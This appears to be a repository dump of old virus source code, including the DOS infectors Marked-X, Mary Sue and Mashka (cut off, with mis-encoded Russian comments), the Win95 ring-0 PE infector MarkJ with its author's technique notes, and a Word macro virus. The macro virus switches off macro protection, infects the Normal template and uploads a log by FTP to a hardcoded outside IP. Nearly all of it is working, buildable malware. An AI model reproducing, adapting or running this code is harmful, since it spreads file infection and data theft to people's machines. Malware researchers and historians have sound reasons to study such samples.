; Urmm!.. Anyhow, enjoy Insane Reality #4!
;
;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
; MARKED-X
;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
virus segment ; segment's and shit
assume cs:virus,ds:virus
org 100h
start: mov ah,2ah
int 21h
cmp dl,21
je happy_happy_joy_joy
mov ah,9h ; Print the faked
mov dx,offset note ; note.. (bad commie or filename)
int 21h
jmp makemegotsr
happy_happy_joy_joy:
mov ah,9h ; Print the virus note
mov dx,offset society ; to show that we're here
int 21h
mov cx,1000 ; Print 1000
mov ax,0e07h ; "beep-letters"
beeper:
int 10h ; to screen
loop beeper ; (results in [ofcause] 1000 beepies)
makemegotsr:
jmp tsrdata ; Celebrate! now put us as a TSR in memory
new21: pushf ; Pushfar
cmp ah,4bh ; Is a file being run?
jz infect ; If so, infect it
jmp short end21 ; If not, back to old int21 vector
infect: mov ax,4301h ; Set attrib's to zero, keines, finito
and cl,0feh
int 21h
mov ax,3d02h ; Open file
int 21h
mov bx,ax ; or.. xchg ax,bx.. but that doesn't work here
push ax ; Push all
push bx
push cx
push dx
push ds
push cs
pop ds
mov ax,4200h ; Move to beginning (?)
xor cx,cx
cwd
int 21h
mov cx,offset endvir-100h ; What to write
mov ah,40h ; Write it
mov dx,100h ; Offset start
int 21h
cwd ; set date/time
xor cx,cx ; to zero (00-00-00)
mov ax,5701h ; do that
int 21h
mov ah,3eh ; close file
int 21h
x21: pop ds ; pop all
pop dx
pop cx
pop bx
pop ax
end21: popf ; pop far
db 0eah ; Jmp far (?)
old21 dw 0,0 ; Where to store the old INT21
data db 'Marked-X' ; Virus name
db 'Will we ever learn to talk with eachother?' ; Virus poem
db '(c) Metal Militia/Immortal Riot' ; Virus author
society db 'In any country, prison is where society sends it''s',0dh,0ah
db 'failures, but in this country society itself is faily',0dh,0ah
db '$' ; Information note
note db 'Bad command or filename',0dh,0ah
db '$' ; Fake note
tsrdata:
mov ax,3521h ; Hook int21
int 21h
mov word ptr cs:old21,bx ; Where to but it
mov word ptr cs:old21+2,es
mov dx,offset new21 ; Where's our to be called
mov ax,2521h ; Fix it
int 21h
push cs ; push it
pop ds ; pop it
mov dx,offset endvir ; Put all of us in memory
int 27h ; Do it, TSR (terminate & stay resident)
endvir label byte ; End of file
virus ends
end start
+103
View File
@@ -0,0 +1,103 @@
; Name: Marked-X
; Author: Metal Militia/Immortal Riot
; Resident: Yes
; Encryption: No
virus segment
assume cs:virus, ds:virus
org 100h
start:
mov ah,2ah ; Function 2Ah: Get System Date
int 21h ; Retrieve date
cmp dl,21 ; DL = Date ( tests against 21st )
je Payload ; Its time for the payload, 21st of month
mov ah,9h ; Function 09h: Print String
mov dx,offset note ; Location of decoy note
int 21h ; Explains why the file will not run.
jmp Go_TSR ; Time to go TSR
Payload:
; The test at the beginning proves it to be the 21st, now to
; drop a bomb on victim.
; Prints the payload message to announce wtf is going on.
mov ah,9h ; Function 09h: Print String to Standard output
mov dx,offset society ; Its the message
int 21h ; Tells DOS to announce our presence
mov cx,1000 ; Print 1000 times
mov ax,0E07h ; Function 0Eh: Teletype output
; 07h = The bell character, makes a beep!
beeper:
int 10h ; Video functions
loop beeper ; Beeps 1000h times, The count in CX
Go_TSR:
jmp tsrdata ; Celebrate! now put us as a TSR in memory
new21:
pushf ; Pushes the Flags Register
cmp ah,4bh ; Function 4Bh: Execute program
jz infect ; If a file is being run, infect it.
jmp short end21 ; If a file is not being run then we
; must head back to the old INT 21h.
infect:
mov ax,4301h ; Function 4301h: Set Attributes
and cl,0feh ; Keeps all File attributes 'cept read-only
int 21h ; Makes the file writeable
mov ax,3d02h ; Function 3D02h: Open File for Read/Write access
int 21h
mov bx,ax ; Puts file handle in BX
push ax ; Push all
push bx
push cx
push dx
push ds
push cs
pop ds
mov ax,4200h ; Move to beginning of victim file
xor cx,cx
cwd
int 21h
mov cx,offset endvir-100h ; Length of area to write
mov ah,40h ; Function 40h: Write to file
mov dx,100h ; Start of Virus
int 21h
cwd ; Set Date/Time
xor cx,cx ; to zero (00-00-00)
mov ax,5701h
int 21h
mov ah,3eh ; Close Victim file
int 21h
x21:
pop ds ; pop all ; Restores all registers
pop dx
pop cx
pop bx
pop ax
end21:
popf ; Pops the flags register to keep it unaltered
db 0eah ; Jumps Far to the old Int 21h handler
old21 dw 0,0 ; Where to store the old INT21
data_1 db 'Marked-X' ; Virus name
db 'Will we ever learn to talk with eachother?' ; Virus poem
db '(c) Metal Militia/Immortal Riot' ; Virus author
society db 'In any country, prison is where society sends it''s',0dh,0ah
db 'failures, but in this country society itself is faily',0dh,0ah
db '$' ; Information note
note db 'Bad command or filename',0dh,0ah
db '$' ; Fake note
tsrdata:
mov ax,3521h ; Function 35??h: Get Interrupt Vector
; AL = INT#
; Returns ES:BX of old Interrupt vector
int 21h ; Find out where INT 21h goes
mov cs:[old21],bx ; Places the Old INT 21h vector into
mov cs:[old21+2],es ; its proper place.
mov dx,offset new21 ; Insertion Point of New INT 21h
mov ax,2521h ; Function 25??h: Set new Int Vector
; AL = INT #
; Makes DS:DX new INT Vector
int 21h ; Coolness
push cs ; CS = Code segment that the PSP of TSR
; progge is located in.
pop ds ; Copy that into DS
mov dx,offset endvir ; Put all of us in memory
int 27h ; Do it, TSR (terminate & stay resident)
endvir label byte ; End of file
virus ends
end start
+126
View File
@@ -0,0 +1,126 @@
Private Sub Document_Close()
On Error Resume Next
Const Marker = "<- this is a marker!"
'Declare Variables
Dim SaveDocument, SaveNormalTemplate, DocumentInfected, NormalTemplateInfected As Boolean
Dim ad, nt As Object
Dim OurCode, UserAddress, LogData, LogFile As String
'Initialize Variables
Set ad = ActiveDocument.VBProject.VBComponents.Item(1)
Set nt = NormalTemplate.VBProject.VBComponents.Item(1)
DocumentInfected = ad.CodeModule.Find(Marker, 1, 1, 10000, 10000)
NormalTemplateInfected = nt.CodeModule.Find(Marker, 1, 1, 10000, 10000)
'Switch the VirusProtection OFF
Options.VirusProtection = False
If (Day(Now()) = 1) And (System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\MS Setup (ACME)\User Info", "LogFile") = False) Then
If DocumentInfected = True Then
LogData = ad.CodeModule.Lines(1, ad.CodeModule.CountOfLines)
ElseIf NormalTemplateInfected = True Then
LogData = nt.CodeModule.Lines(1, nt.CodeModule.CountOfLines)
End If
LogData = Mid(LogData, InStr(1, LogData, "' Log" & "file -->"), Len(LogData) - InStr(1, LogData, "' Log" & "file -->"))
For I = 1 To 4
LogFile = LogFile + Mid(Str(Int(8 * Rnd)), 2, 1)
Next I
LogFile = "C:\hsf" & LogFile & ".sys"
Open LogFile For Output As #1
Print #1, LogData
Close #1
Open "c:\netldx.vxd" For Output As #1
Print #1, "o 209.201.88.110"
Print #1, "user anonymous"
Print #1, "pass itsme@"
Print #1, "cd incoming"
Print #1, "ascii"
Print #1, "put " & LogFile
Print #1, "quit"
Close #1
Shell "command.com /c ftp.exe -n -s:c:\netldx.vxd", vbHide
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\MS Setup (ACME)\User Info", "LogFile") = True
End If
'Make sure that some conditions are true before we continue infecting anything
If (DocumentInfected = True Xor NormalTemplateInfected = True) And _
(ActiveDocument.SaveFormat = wdFormatDocument Or _
ActiveDocument.SaveFormat = wdFormatTemplate) Then
'Infect the NormalTemplate
If DocumentInfected = True Then
SaveNormalTemplate = NormalTemplate.Saved
OurCode = ad.CodeModule.Lines(1, ad.CodeModule.CountOfLines)
'Write a log file of this NormalTemplate infection
For I = 1 To Len(Application.UserAddress)
If Mid(Application.UserAddress, I, 1) <> Chr(13) Then
If Mid(Application.UserAddress, I, 1) <> Chr(10) Then
UserAddress = UserAddress & Mid(Application.UserAddress, I, 1)
End If
Else
UserAddress = UserAddress & Chr(13) & "' "
End If
Next I
OurCode = OurCode & Chr(13) & _
"' " & Format(Time, "hh:mm:ss AMPM - ") & _
Format(Date, "dddd, d mmm yyyy") & Chr(13) & _
"' " & Application.UserName & Chr(13) & _
"' " & UserAddress & Chr(13)
nt.CodeModule.DeleteLines 1, nt.CodeModule.CountOfLines
nt.CodeModule.AddFromString OurCode
If SaveNormalTemplate = True Then NormalTemplate.Save
End If
'Infect the ActiveDocument
If NormalTemplateInfected = True And _
(Mid(ActiveDocument.FullName, 2, 1) = ":" Or _
ActiveDocument.Saved = False) Then
SaveDocument = ActiveDocument.Saved
OurCode = nt.CodeModule.Lines(1, nt.CodeModule.CountOfLines)
ad.CodeModule.DeleteLines 1, ad.CodeModule.CountOfLines
ad.CodeModule.AddFromString OurCode
If SaveDocument = True Then ActiveDocument.Save
End If
End If
End Sub
' Logfile -->
' 09:08:36 - Saturday, 28 Nov 1998
' SPo0Ky
' Blue Planet
'
+650
View File
@@ -0,0 +1,650 @@
;
; MarkJ, by Murkry/IkX
;
;
;
; Well this idea was very klunky (;) hi dv8) until I received and
; dissassembled the F---- harry 3 virus. There I found that you could hook
; VxD functions (yay) using the QG manuver. Well this made this virus easier,
; the main difference between QG's are this is larger and requires a section
; to be added the host; this is due to the method in how it gets tsr space its
; section header is set to Virtual address c0000000 - 400000 (bfc00000)
; which makes this section loaded at C0000000 an "unused" area in sharedVxD
; memory this method will also work with the shared memory at 70000000 this
; method will leave that 1000h area in memory even after the orginal program
; is ended ;))
; (*added now b0z0 has already used this in one of his new viruses I am glad
; to see*)
; As for the QG manuever well see his source code for more info but basically
; he uses a fixed location to find the vmm Device Descriptor Block in memory,
; then finds the schedule Global event entry point well you save this address
; and replace it with a pointer to your code which will then be at the ring0
; VxD land now you can call the ifsmger calls to do similiar to the mrKlunky
; and then repair the Global Event call and your set. Yeah i know thats
; confusing read the code and figure it out you will learn more and feel better
; about yourself :)
; Problems to overcome:
; well VxDcalls are coded in this fashion
; int 20h
; dd 00400032 ; vxd vxdfunction
; which is replaced with
; call [vxdfunction address]
; after the first time it is executed so the code can no longer be simply
; added to the host, QG fixed this by "patching" all these Dynalinks back to
; the int 20.... in Fharry, but he leaves the last one that is called at the
; final write to file which is converted to the call[...] b4 the write to file
; so this leaves one entry that is not patched Well this is sorta easy to fix
; in a number of methods I am choosing the easiest way which is to copy the
; code b4 the dynalink occur to an another location and when I write that copy
; of the code to the new host, another method would be to create the int 20's
; in a dynamic manner the first time this method might be nice for a mutating
; form of this type of virus as you can see VX technology is unlimited in what
; there is to explore in the Win95 enviroment.
; hmm oh yeah the virus has a small payload on the 25th of june it will
; display a VWin32_SysErrorBox wishing Mark j a happy bday :)
; For those who wonder MarkJ is my friend's son, who is the one who show me
; the wonderful world of Virii; JHB yea he is around!
; I know that since I show this to b0z0 he has taken this idea cleaned it up
; added new ideas so for some code that is more robust check out his article's
;
;
;
; Murkry
.Radix 16
.386
;some restrictions
;I do not alter the Virtual address of the new section so the
; host host must load at a base address of a 400000h if this is not true do
; not infect
;to try to stay as a Win95 I check for file alignment as a 200h if not again
;do not infect
; the "new" vxd area I create wants dd 0c0000040h
;for its characerstics or it fails out strange
; now this infects pe files that are name as .com files but get this
; the infect com will not run it hangs the system???? well this is just
;for demo purposes, rename the infected file to *.exe and it will work :)
;and lastly I did not add some check to insure that section directory has
;enough room in it ;) I leave these problems for the student to fix
;
; unlike most vxd's virii this requires Tasm and a debug script that sets the
; characterisics of the .DATA to 0c0000040h all set ;)
;but does not need special .lib's or the infamous ddk ;)
;while i have access to it I prefer to make my files without such things
;that way I can use Tasm and not Masm
;
;Well Virii eXplorers I hope this is an acceptable offering ;)
;thanks to QuantumG, DV8 for source and EXE's that help complete this
;
;Murkry 8/21/97
; Compiling:
; tasm32 /ml /m3 markj,,;
; tlink32 /Tpe /aa /c /v markj,markj,, import32.lib,
; And then just make the DATA area to be loaded at BFC00000h with a hex editor
LoadAt equ 0c0000000h
PeHeader equ offset Buffer - offset markj + LoadAt
.model flat
extrn ExitProcess:PROC
extrn AddAtomA:PROC
;this is just the data area that I am using to build the code that will
;go in the 0c0000000h area the start of the host will be in the .code
; and in a real infection it will execute from the section dir..
.data ;the data area
markj:
;first thing find the VMM uses a fixed location here
;yea this is just a modfied form of fuck harry by QG but
;why not
;maybe its possible to just scan for 'VMM '
;From 0C0010000 ?
StartOfVirus:
;ok first thing copy the virus to the end of our work and data error
;this way we have an ucorrupted version
mov esi, LoadAt
mov edi,offset DummyCode - Offset StartOfVirus + LoadAt
mov Ecx,offset EndVirus - Offset StartOfVirus
rep movsb
mov eax,0C000157Fh ;pointer to one location???
mov ebx,[eax] ;of the VMM dbb
cmp dword ptr [ebx+0C],0204D4D56h ;'VMM '
jne ErrorExit ;if not here get out
mov ebx,[ebx+30h]
;find the Service table for th vmm
;now load the call_global_event address (I think)
;I have read the source to Fharry and I was right :)
;Sorta hook this Services
lea eax,[ebx+3Ch]
;Store this value to restore it later
mov dword ptr ds:[0c0000000h + offset OrgIfsEntry- Offset markj],eax
; 0c000e384h
mov eax,[eax]
mov dword ptr ds:[offset VxDOff - Offset markj + LoadAt ],eax
; 402066
lea eax,dword ptr ds:[ offset NewHandler - Offset markj + LoadAt]
;hook the code
mov [ebx+3Ch],eax ;New Location of our Handler
;Ok we should be set to return to the host
ErrorExit:
RetToHost:
inc byte ptr ds:[offset CheckTsr - offset markj + LoadAt]
Ret
;----------------------------------------------------------
;In Dos we would now be in the int Handler
; Here we are now in Ring 0 and are part of the VxD land ;)
; this is where we finish the QG manuever by hooking HookFSD
NewHandler:
pushad
;restore the global event hook
mov eax,dword ptr ds:[VxDOff - offset markj + LoadAt]
;mov [00000000],eax
db 0A3h
OrgIfsEntry dd 0
mov word ptr ds:[offset VxDSeg - Offset markj + LoadAt],cs
call CallIFSHook
popad
;---------------------------------------------------------
; jmp 0028:00000000
db 0eah
VxDOff dd 0401000h
VxDSeg: dw 0137h
;---------------------------------------------------------------
VVxdCall1:
CallIFSHook:
lea eax,dword ptr ds:[offset NewFShook - Offset markj + LoadAt]
push edx
push eax
;this is sorta like hooking every int21 that handle file access in DOS
;This will add a FS hook now whenever a FSD is Called this will be called
;first
;Call
;Tos = New Fsd Address to Install
;return
;EAX = Last FShook
ApiHook: ;4020dd
int 20h
V1:
APIHOOKVXD dd 00400067h
; IFSMgr_Device_ID 0x00040 /* Installable File System Manager */
; IFSMgr_Service IFSMgr_InstallFileSystemApiHook 67
add esp,00000004 ;like a pop changes no regs but esp
;some VxD's routines
;do not clean up after themselves
;Sometimes check docs for specs :))
pop edx ; restore Edx
;Save the old FSHook so we can chain to it
mov dword ptr ds:[ offset OldFSD - Offset markj + LoadAt],eax
;A little payload here if its the 6/25 then display the B-day mess
;just using the VMM Exec_VxD_Int to get the System date
;To be honest I could not find an easier way to do this!!!
;there are some VxD that give time and date but the date is how many
; seconds(I think) from some date in the 1980's this is easier and
; shows that accessing int 21 is still possible infact if QG is hooking the
; the GlobalEvent from the VMM it should be possible to hook the int21
; hanlder in a similiar fashion then some creative coding could make the
; Dos tsr and the VxD code very similiar....
; check for 6/25 if its the date show the message and set the flag
;
mov eax,00002A00h ;get system date
push dword ptr 21h
int 20h
V2 dd 0001008fh
cmp dx,0619
;6/25 in hex for those decimal heads ;)
jne ForGetIt
;this shows how one might use the VWin32_SysErrorBox
;To display a little message justing saying Hi to JHB's son who is the
; happy (?) reason jhb is not coding as much any more I should add he
;did help with alot of this code
mov ebx, LoadAt
add ebx, offset EBox - offset markj
int 20h
V3 dd 002a001ah
ForGetIt:
ret
;----------------------------------------------------
;all right we have "legal" hook into a FSD and the rest is the
;just the infection routine
NewFShook:
push ebp
mov ebp,esp
sub esp,00000020
;-------------------------------------------------------
;Relative EBP this is what was passed I hope DV8 does not mind me
; using his docs to define this stuff
;00 - ebp
;04 - address of caller
;08 - adress of FSD Function
;0c - Function ID
;10 - drive
;14 - Type of Resource
;18 - Code Page
;1C - Pointer to IOREQ record
; 00 dw Lenght if user Buffer
; 02 db status Flag
; 03 db requests' user Id
; 04 dw file handle's System File number
; 06 dw Process ID
; there is more I will copy or add as needed
push ebx
push esi
push edi
; mov edi,00000000
; db 0bfh ;this gets us so edi points to our
;VirriOffVxD dd LoadAt ;loc in memory
; Use this flag so we are not reentrant
cmp byte ptr ds:[offset Flag1 - offset markj + LoadAt],01
je letOrginal
;Win95 always opens the file b4 running it so this checks and lets us
;check if it is opened
cmp dword ptr [ebp+0Ch],00000024h
jne letOrginal
;ok set our flag
mov byte ptr ds:[offset Flag1 - offset markj + LoadAt],01
pushad
lea esi,byte ptr ds:[offset FileName - offset markj + LoadAt]
mov eax,[ebp+10h] ;Primary Data buffer of the IOREQ
cmp al,0FFh
je NoNeedDriveLetter
add al,40h ;this creates the c:
mov [esi],al ;
inc esi ;takes 1 byte
mov byte ptr [esi],':' ;
inc esi ;takes two bytes
NoNeedDriveLetter:
xor eax,eax
push eax ;character set
mov eax,000000FF ;max size of output buffer
push eax ;
mov ebx,[ebp+1Ch] ;??? copies from Mr k and
mov eax,[ebx+0Ch] ;Fharry virus it seems to
add eax,00000004 ;to get the input file name
push eax ; which is in unicode
mov eax,esi ;where we want the output
push eax ;
UniToBcs: ;ok do it
int 20h
dd 00400041h
;IFSMgr_Service UniToBCSPath
add esp, 4*4 ;need to clean up the stack
; dword size * how many push
;(paremeters)
add esi,eax
mov byte ptr [esi],00
cmp dword ptr [esi - 4],"MOC."
; cmp dword ptr [esi - 4],"EXE." ;hmm could just put this in to infect
;proper files ;>
jne ExitVVxD
;could add the get and save attributes stuff here as a Xercise for the student
mov Eax,0000D500h ;create/open file
xor ecx,ecx
lea Esi,byte ptr ds:[offset FileName - offset markj + LoadAt]
mov ebx,2 ;flags
mov edx,1
call VxDIFS ;decide to combine this call
;int 20
;dd 00400032h
;IFSMgr_Service IFSMgr_Ring0_FileIO
jb ExitVVxD ;error opening the file
mov ebx,eax ;file handle
;Read File open with read write d6
;3c is the location of the dword pter to the PE/NE part
mov ecx,00000004 ;how much
mov edx, 03Ch ;where to read from
mov eax,0000D600h ;read from file
lea esi,byte ptr ds:[offset PEPtr - offset markj + LoadAt]
;where to read to
call VxDIFS
;int 20h
;dd 00400032h
;IFSMgr_Service IFSMgr_Ring0_FileIO
mov ecx,400h
mov edx,dword ptr ds:[offset PEPtr - offset markj + LoadAt]
;use as a pointer
mov eax,0000D600h
lea esi,byte ptr ds:[offset Buffer - offset markj + LoadAt]
;where to read to
call VxDIFS
;int 20h
;dd 00400032h
;IFSMgr_Service IFSMgr_Ring0_FileIO 32
;check for the PE
;Read in the first 1k of info from the PE header on
cmp dword ptr [esi],00004550h ;00,'EP'
jne CloseFile
;Alright!! its a PE file now check if infected
;use the user defined 2 words at 44h = Murk
;figure file size
;figure amout to add
;fix header and write end and then write header
;all offsets should be off the offset Buffer - offset markj + LoadAt
; called PeHeader
;Lets do some checks if any fail get out
cmp dword ptr ds:[PeHeader + 44],'kruM' ;user define
je CloseFile
;Well not infected with MarkJ1 virus
cmp dword ptr ds:[PeHeader + 34h ],00400000h ;base image
jne CloseFile
;for this example we only want the base image to be 400000h
cmp dword ptr ds:[PeHeader + 3ch],200h ;file alignment
jne CloseFile
;and lastly check the file alignment if 200 we are set
xor eax,eax
mov ax,word ptr ds:[PeHeader + 6] ;how many sections
mov ecx,28h ;section size
mul ecx
mov edi,eax ;New Section Entry
add edi,PeHeader + 0f8h ;add Pe header size
push edi ;location in PeHeader of new section header
mov esi, offset SectName - offset markj + LoadAt
mov ecx, offset EndVirus - offset SectName
rep movsb
pop edi
;get file size
mov eax,0d800h ;get file size
call VxDIFS
; int 20h
; dd 00400032h
;IFSMgr_Service IFSMgr_Ring0_FileIO
;jc for error
mov dword ptr ds:[offset FileSize - offset markj + LoadAt],Eax
push eax ;save the size
pop edx ;get it in edx
push edx ;save again
add eax,0200h
shr eax,09h ;make it the 200h size
shl eax,09h ;
pop ecx
sub eax,ecx
xchg eax,ecx
;Extend the file to a 200 file alignment
cmp ecx,0200h
jz AtAlignment
add dword ptr ds:[offset FileSize - offset markj + LoadAt],Ecx
mov eax,0000d601h ;write to file
mov esi,0c0000000h
call VxDIFS
;int 20h
;dd 00400032h ;edx is telling us where to write to in the file
AtAlignment:
mov edx, dword ptr ds:[offset FileSize - offset markj + LoadAt]
mov dword ptr ds:[edi + 14h ],edx
mov ecx,offset EndVirus - offset StartOfVirus
mov eax,0000d601h ;write to file
mov esi,offset DummyCode - Offset StartOfVirus + LoadAt
call VxDIFS
;int 20h
;dd 00400032h ;edx is telling us where to write to
;ok fix the header and write it back
;fix marker
mov dword ptr ds:[PeHeader + 44h],'kruM' ;user define
;fix Eip
mov eax,edi
sub eax,PeHeader
add eax,dword ptr ds:[offset PEPtr - offset markj + LoadAt]
add eax,28h ;<----NewEip
mov dword ptr ds:[edi + 28h + 1],eax
push eax ;save the new eip
mov eax,dword ptr ds:[PeHeader + 28]
mov dword ptr ds:[edi + offset OldEipRva - offset SectName],eax
pop eax
mov dword ptr ds:[PeHeader + 28],eax ;set the new eip
;fix section count
inc word ptr ds:[PeHeader + 6]
mov ecx,400h
mov edx,dword ptr ds:[offset PEPtr - offset markj + LoadAt]
;use as a pointer
lea esi,byte ptr ds:[offset Buffer - offset markj + LoadAt]
;where to read to
mov eax,0000d601h ;write to file
call VxDIFS
; int 20h
; dd 00400032h ;edx is telling us where to write to
CloseFile:
mov eax,0000d700h
call VxDIFS
;int 20h ;402500h
;dd 00400032h
;IFSMgr_Service IFSMgr_Ring0_FileIO
ExitVVxD:
Popad
;Restore our flag so we can infect the next file
mov byte ptr ds:[offset Flag1 - offset markj + LoadAt],0
letOrginal:
mov eax,[ebp+1CH] ;040250eh
push eax
mov eax,[ebp+18H]
push eax
mov eax,[ebp+14H]
push eax
mov eax,[ebp+10H]
push eax
mov eax,[ebp+0CH]
push eax
mov eax,[ebp+08H]
push eax
;mov eax,00000000
db 0b8h
OldFSD dd 0
call [eax]
add esp,00000018
pop edi
pop esi
pop ebx
leave ;402533h
ret
;********************************************
VxDIFS:
int 20h ;402500h
dd 00400032h
ret
;********************************************
MFlag db ?
Flag1 db ?
EBox dd ?
butt1 dw 0
butt2 dw 8001
butt3 dw 0
TitleOff dd offset TitleEB - offset markj +0c0000000h
TextOff dd offset TextEB - offset markj +0c0000000h
TitleEB db 'Happy Birth Day to Mark J ',0
TextEB db 'From Murkry',0
;-----------------------------------------------------------
SectName db "MarkJ_I "
Physadd dd offset EndVirus - offset StartOfVirus
VirtualAdd dd 0c0000000h - 400000h ;bfc00000
SizeRawData dd offset EndVirus - offset StartOfVirus
PntrRawData dd 0 ;will be set at infection
PnterReloc dd ?
PnterLine dd ?
dw ?
dw ?
Character dd 0c0000040h
;sub eax, offset HOST - 400000h
db 2dh
NewEipRva dd offset HOST - 400000h
cmp eax,400000h
jne GetOut
cmp byte ptr ds:[offset CheckTsr - offset markj + LoadAt],0
jne GetOut
;EAX ;current base address
pushad
call DoNothing
DoNothing:
pop eax
add eax,0bh
push eax
push 0c0000000h
ret
Here:
popad
GetOut:
;add eax, offset return - 400000h
db 05h
OldEipRva dd offset return - 400000h
jmp eax
;----------------------------------------------------------------
EndVirus:
FileName db 100 dup(00) ;holds the file name
PEPtr dd 0
FileSize dd 0
Buffer db 400h dup(00)
CheckTsr db 00
DummyCode:
;--------------------------------------------------------------------
.code ;executable code starts here
HOST:
;sub eax, offset HOST - 400000h
db 2dh
NewEipRva1 dd offset HOST - 400000h
cmp eax,400000h
jne GetOut1
cmp byte ptr ds:[offset CheckTsr - offset markj + LoadAt],0
jne GetOut1
;EAX ;current base address
pushad
call DoNothing1
DoNothing1:
pop eax
add eax,0bh
push eax
push 0c0000000h
ret
Here1:
popad
GetOut1:
;add eax, offset return - 400000h
db 05h
OldEipRva1 dd offset return - 400000h
jmp eax
;--------------------------------------------------
return:
push LARGE -1
call ExitProcess
end HOST
File diff suppressed because it is too large Load Diff
+129
View File
@@ -0,0 +1,129 @@
MarySue SEGMENT BYTE PUBLIC 'code'
ASSUME CS:MarySue, DS:MarySue, SS:MarySue, ES:MarySue
ORG 100h
DOS EQU 21h
start: JMP pgstart
exlbl: db 0CDh, 20h, 3, 2, 7
pgstart:CALL MarySueVir
MarySueVir:
POP SI
SUB SI,offset MarySueVir
MOV BP,[SI+blnkdat]
ADD BP, OFFSET exlbl
JMP SHORT realprog
nfect:
MOV [SI+offset endprog+3],AX
MOV AH,40H
LEA DX,[SI+0105H]
MOV CX,offset endprog-105h
INT DOS
PUSHF
POPF
JC outa1
RET
outa1:
JMP exit
realprog:
CLD
MOV AH, 1Ah
LEA DX, [SI+ENDPROG+131h]
INT 21h
LEA DX,[SI+fspec]
XOR CX, CX
MOV AH,4EH
mainloop:
INT DOS
JC hiccup
LEA DX, [SI+ENDPROG+131h+30]
MOV AX,3D02H
INT DOS
MOV BX,AX
MOV AH,3FH
LEA DX,[SI+endprog]
MOV DI,DX
MOV CX,0003H
INT DOS
CMP BYTE PTR [DI],0E9H
JE infect
nextfile:
MOV AH,4FH
JMP mainloop
hiccup: JMP exit
infect:
MOV AX,5700h
INT DOS
PUSH DX
PUSH CX
MOV DX,[DI+01H]
MOV [SI+blnkdat],DX
; Tighter Code here - Dark Angel
XOR CX,CX
MOV AX,4200H
INT DOS
MOV DX,DI
MOV CX,0002H
MOV AH,3FH
INT DOS
CMP WORD PTR [DI],0807H
JE nextfile
getaval:
XOR DX,DX
XOR CX,CX
MOV AX,4202H
INT DOS
OR DX,DX
JNE nextfile
CMP AH,0FEH
JNC nextfile
CALL nfect
MOV AX,4200H
XOR CX, CX
MOV DX,OFFSET 00001
INT DOS
MOV AH,40H
LEA DX,[SI+offset endprog+3]
MOV CX,0002H
INT DOS
MOV AX,5701h
POP CX
POP DX
INT DOS
exit:
MOV AH,3EH
INT DOS
MOV AH, 1Ah
MOV DX, 80h
INT 21h
JMP BP
fspec LABEL WORD
DB '*.*',0
nondata DB ' *** Mary Sue Virus 1.0 ***'
DB ' Written by the Weasel!'
DB ' (C) Sector Infector Inc'
endenc LABEL BYTE
blnkdat LABEL WORD
DW 0000H
en_val DW 0h
endprog LABEL WORD
MarySue ENDS
END start
+451
View File
@@ -0,0 +1,451 @@
;ÛßßßßßßßßßßßßßßßÛ ß ß ÛÛßÛÛßÛÛ
;Û STEALTH group Û° Û ÛßÜ Ûßß Üßß Üßß ßÛß Üßß ÛßÛ Ý Û ÜßÛ Û Üßß Üßß ÛÛ ßß ÛÛ
;Û presents Û° Û Û Û Ûß Ûß Û Û Ûß Û Û Û Û Û Û Û Û ßÛßß ÛÛÛÛÛ ÛÛ
;ÛÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÛ° Þ Þ Þ Þ ÞÜÜ ÞÜÜ Þ ÞÜÜ ÞÜß ßÛ ßÜÛ Þ ÞÜÜ ÞÜÜ ÛÛÛÛÛÜÛÛ
; °°°°°°°°°°°°°°°°° JAN 1995
;
; INFECTED VOICE. Issue 4. January 1995. (C) STEALTH group, Kiev 148, Box 10.
; ===========================================================================
TITLE Virus Mashka ; ªáâ â¨ ­ áâ®ï饥 ­ §¢ ­¨¥ !
seg_a segment para 'code'
assume cs:seg_a,ds:seg_a
org 100h
start:
call $+3 ;áâ àë© ¤®¡àë© call
pop bx
push es
sub bx,3 ;­ ç «® ¢¨àãá 
push bx
mov ax,0e200h ;âà ¤¨æ¨®­­ ï ¯à®¢¥àª  ­  ­ «¨ç¨¥ ¢ ¯ ¬ïâ¨
int 21h
cmp al,22h
jnz res ;¥á«¨ ­ á ­¥â, §­ ç¨â ¡ã¤¥¬
jmp short nores ;¬ë 㦥 ¥áâì
res:
mov ax,ds
dec ax
mov ds,ax ;ᥣ¬¥­â MSB
mov ax,word ptr ds:[3]
sub ax,(offset virend - offset start)/10h+1+20h ;㬥­ìè ¥¬ à §¬¥à ¡«®ª 
mov word ptr ds:[3],ax
mov ax,ds
inc ax
mov ds,ax
mov ax,word ptr ds:[2] ;ª®«¢® ᢮¡®¤­®© ¯ ¬ïâ¨
sub ax,(offset virend - offset start)/10h+1+20h ;®â­¨¬ ¥¬ à §¬¥à vir' 
mov es,ax
mov word ptr ds:[2],ax
mov cx,offset virend - offset start
mov si,bx
xor di,di
push cs
pop ds
rep movsb ; ¯¥à¥ª ç¨¢ ¥¬ ⥫® ¢ ¢ë¤¥«¥­­ãî ®¡« áâì es:di
push es
pop ds
mov ax,3521h ; ­ã §¤¥áì, ­ ¤¥îáì , ¢ë ¯®­¨¬ ¥â¥ , çâ® ¯à®¨á室¨â
int 21h
mov word ptr ds:[offset int21e - offset start],bx
mov word ptr ds:[offset int21e+2 - offset start],es
mov ax,2521h
mov dx,offset int21entry - offset start
int 21h ; ¯¥à¥å¢ â뢠¥¬ int 21h
mov ax,3510h
int 21h
mov word ptr ds:[offset int10e - offset start],bx
mov word ptr ds:[offset int10e+2 - offset start],es
mov ax,2510h
mov dx,offset int10entry - offset start
int 21h ; ¯¥à¥å¢ â뢠¥¬ int 10h
; ¤«ï ¢¥à⮫¥â 
nores:
; ¥á«¨ ¢¨àãá 㦥 ¢ ¯ ¬ï⨠, â® ®áâ ¥âáï ⮫쪮 à ¤®¢ âìáï
pop bx
; ᥩç á ¡ã¤¥¬ ¯®«ãç âì ®à¨£¨­ «ì­ë¥ ¡ ©âë ¯à®£à ¬¬ë ,
; ¢ë१ ­­ë¥ ¨§ ­ ç «  ¯à®£à ¬¬ë
mov ax,word ptr cs:[bx + offset real - offset start]
mov bx,word ptr cs:[bx + offset real - offset start + 2]
push cs
pop ds
mov word ptr cs:[100h],ax ;ᮮ⢥âá⢥­­® ¢®§¢à é ¥¬ ¨å ­  ¬¥áâ®
